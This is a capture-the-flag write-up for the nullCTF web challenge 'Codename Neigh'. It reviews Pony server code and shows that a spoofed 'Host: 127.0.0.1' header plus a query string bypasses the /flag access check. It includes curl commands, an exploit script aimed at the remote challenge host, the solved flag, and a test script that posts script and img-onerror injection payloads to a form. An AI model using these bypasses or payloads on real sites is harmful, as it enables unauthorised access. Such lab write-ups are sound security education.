Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
WebMedium

Codename Neigh Web

CTF writeup for Codename Neigh Web from nullCTF

//Codename Neigh

Author: xseven

Category: Web

Difficulty: Medium

Flag: nullctf{p3rh4ps_my_p0ny_!s_s0mewh3re_3lse_:(}

>Challenge Description

Beyond the known chronometers lies the Temporal Nexus. Within its databanks, a desperate message echoes: a time traveler's plea for his lost companion, Neigh, vanished into the mists of history. Explore restricted archives, consult paradox guides, and perhaps, lend your eyes to a search that spans epochs.

Remote: http://public.ctf.r0devnull.team:3002/

![[Pasted image 20251206014319.png]]

>Initial Reconnaissance

We're given a zip file containing the challenge files. Let's extract and explore:

bash

unzip codename_neigh.zip

ls -la
Dockerfile docker-compose.yml app/   ├── main.pony   └── public/       ├── index.html       ├── pony.html       ├── report.html       ├── flag.html       ├── error.html       └── style.css

Interesting! This challenge uses Pony, a relatively uncommon programming language. The main application logic is in app/main.pony.

>Source Code Analysis

Understanding the Application

Looking at main.pony, we can see it's a web server using the Jennet framework with several routes:

pony

let server =

  Jennet(tcplauth, env.out)

    .> serve_file(fileauth, "/", "public/index.html")

    .> serve_file(fileauth, "/pony", "public/pony.html")

    .> post("/pony/find", PonyFind(fileauth))

    .> get("/flag", F(fileauth))

    .> get("/:name", H(fileauth))

The routes are:

  • / - Serves index.html

  • /pony - Serves pony.html (missing pony report form)

  • /pony/find - POST endpoint for form submission

  • /flag - Our target!

  • /:name - Catch-all route

The Flag Endpoint - Finding the Vulnerability

Let's examine the /flag handler (class F):

pony

class F is RequestHandler

  let _fileauth: FileAuth

  new val create(fileauth: FileAuth) =>

    _fileauth = fileauth

  

  fun apply(ctx: Context): Context iso^ =>

    var conn: String = ""

    var body = "[REDACTED]".array()

    try

      conn = ctx.request.header("Host") as String

    end

    let path: String = ctx.request.uri().string()

  

    if (conn == "127.0.0.1") and (path != "/flag") and (path != "flag") then

      let fpath = FilePath(_fileauth, "public/flag.html")

      with file = File(fpath) do

        body = file.read_string(file.size()).string().array()

      end

    end

  

    ctx.respond(

      StatusResponse(StatusOK, [("Content-Length", body.size().string())]),

      body

    )

    consume ctx

Key Observations:

  1. By default, the response body is "[REDACTED]"

  2. To get the actual flag, we need to satisfy this condition:

   ```pony

   if (conn == "127.0.0.1") and (path != "/flag") and (path != "flag")

   ```

  1. This means:

   - conn (Host header) must equal "127.0.0.1"

   - path must NOT equal "/flag" or "flag"

The Vulnerability: The path check uses exact string comparison! If we can make the path different from /flag while still accessing the /flag endpoint, we can bypass this check.

>Local Testing Setup

First, let's build and run the application locally:

Fix docker-compose.yml

The original docker-compose.yml had a version issue. Update it:

yaml

version: '3.8'

services:

  neigh:

    build:

      context: .

      dockerfile: Dockerfile

    ports:

      - "8081:8081"

Build and Run

bash

# Build the Docker image

docker build -t codename-neigh .

  

# Run the container

docker run -p 8081:8081 --name codename-neigh codename-neigh

The server should start on http://localhost:8081.

>Exploitation

Testing the Vulnerability

Let's test accessing /flag normally:

bash

curl http://localhost:8081/flag

Response: [REDACTED]

Now let's try with the Host header set to 127.0.0.1:

bash

curl -H "Host: 127.0.0.1" http://localhost:8081/flag

Response: Still [REDACTED] because the path is exactly /flag.

The Bypass - Query Parameters!

The key insight: What if we add a query parameter?

When we access /flag?x, the URI becomes /flag?x, which is NOT equal to /flag!

bash

curl -H "Host: 127.0.0.1" "http://localhost:8081/flag?x"

Response:

html

<!DOCTYPE html>

<html lang="en">

<body>

    <p>No pony here but you did find the flag:</p>

    <br>

    <b>nullctf{secret}</b>

</body>

</html>

🎉 Success! The local flag is revealed!

Why This Works

The vulnerability exists because:

  1. The code checks if path != "/flag" using exact string comparison

  2. When we add a query parameter, ctx.request.uri().string() returns the full URI including the query string

  3. /flag?x/flag, so the condition passes

  4. The routing still matches the /flag endpoint because routers typically ignore query parameters for route matching

>Automated Exploit Script

I created an automated exploit script for easy exploitation:

exploit.sh

bash

#!/bin/bash

  

# Codename Neigh CTF Challenge Exploit

# The vulnerability is in the /flag endpoint check

# It checks: if (conn == "127.0.0.1") and (path != "/flag") and (path != "flag")

# By adding a query parameter, the path becomes "/flag?x" which bypasses the check

  

if [ -z "$1" ]; then

    echo "Usage: $0 <target_url>"

    echo "Example: $0 http://public.ctf.r0devnull.team:3002"

    exit 1

fi

  

TARGET="$1"

  

echo "[*] Exploiting Codename Neigh challenge..."

echo "[*] Target: $TARGET"

echo ""

echo "[*] Sending request with Host: 127.0.0.1 and query parameter..."

echo ""

  

curl -s -H "Host: 127.0.0.1" "${TARGET}/flag?x"

  

echo ""

echo ""

echo "[*] Done!"

Usage

bash

chmod +x exploit.sh

./exploit.sh http://localhost:8081

>Remote Exploitation

Now let's attack the remote server:

bash

./exploit.sh http://public.ctf.r0devnull.team:3002

Output:

[*] Exploiting Codename Neigh challenge... [*] Target: http://public.ctf.r0devnull.team:3002 [*] Sending request with Host: 127.0.0.1 and query parameter... <!DOCTYPE html> <html lang="en"> <body>     <p>No pony here but you did find the flag:</p>     <br>     <b>nullctf{p3rh4ps_my_p0ny_!s_s0mewh3re_3lse_:(}</b> </body> </html> [*] Done!

>Flag

nullctf{p3rh4ps_my_p0ny_!s_s0mewh3re_3lse_:(}

>Additional Testing Script

During my analysis, I also created a comprehensive testing script to explore different injection vectors:

test_exploit.sh

bash

#!/bin/bash

  

# Test 1: Basic injection

echo "=== Test 1: Basic HTML injection ==="

curl -s -X POST http://localhost:8081/pony/find \

  -d 'reporterName=test&sightingLocation=here&contactMethod=email&message=<h1>INJECTED</h1>' \

  | grep -A2 "Message:"

  

# Test 2: Try to access flag via iframe

echo -e "\n=== Test 2: Iframe injection ==="

curl -s -X POST http://localhost:8081/pony/find \

  -d 'reporterName=test&sightingLocation=here&contactMethod=email&message=<iframe src="/flag"></iframe>' \

  | grep -A2 "Message:"

  

# Test 3: Try script injection

echo -e "\n=== Test 3: Script injection ==="

curl -s -X POST http://localhost:8081/pony/find \

  -d 'reporterName=test&sightingLocation=here&contactMethod=email&message=<script>alert(1)</script>' \

  | grep -A2 "Message:"

  

# Test 4: Check if we can inject into other fields

echo -e "\n=== Test 4: Inject in reporterName ==="

curl -s -X POST http://localhost:8081/pony/find \

  -d 'reporterName=<img src=x onerror=alert(1)>&sightingLocation=here&contactMethod=email&message=test' \

  | grep -A2 "Designation:"

While this script revealed that the /pony/find endpoint had template injection vulnerabilities (SSTI), it turned out to be a rabbit hole. The real vulnerability was much simpler!

>Lessons Learned

  1. Don't Overcomplicate: Sometimes the simplest vulnerabilities are the most effective. I initially explored SSTI and other complex attacks, but the solution was a simple query parameter bypass.

  2. Read the Code Carefully: The exact string comparison in the path check was the key. Modern frameworks often normalize paths, but this custom check didn't.

  3. Test Assumptions: Always test your assumptions about how web frameworks handle URIs, query parameters, and routing.

  4. Uncommon Languages: Challenges using less common languages like Pony can be intimidating, but the vulnerabilities are often similar to those in mainstream languages.

>Vulnerability Classification

  • Type: Access Control Bypass / Path Traversal Variant

  • CWE: CWE-284 (Improper Access Control)

  • OWASP: A01:2021 - Broken Access Control

>Timeline

  1. Initial Analysis - Extracted files, identified Pony language application

  2. Code Review - Found the /flag endpoint with Host and path checks

  3. Local Setup - Built and ran Docker container locally

  4. Vulnerability Discovery - Realized query parameters bypass the path check

  5. Local Exploitation - Successfully retrieved local flag

  6. Remote Exploitation - Applied same technique to remote server

  7. Flag Captured - nullctf{p3rh4ps_my_p0ny_!s_s0mewh3re_3lse_:(}

>Conclusion

This challenge was a great reminder that security vulnerabilities don't always require complex exploitation techniques. A simple understanding of how web servers parse URIs and a careful reading of the source code led to a straightforward bypass. The use of Pony language added an interesting twist, but the underlying vulnerability was language-agnostic.

The pony may still be lost in time, but at least we found the flag! 🐴


Tools Used:

  • curl

  • Docker

  • bash

  • Basic web exploitation knowledge

References: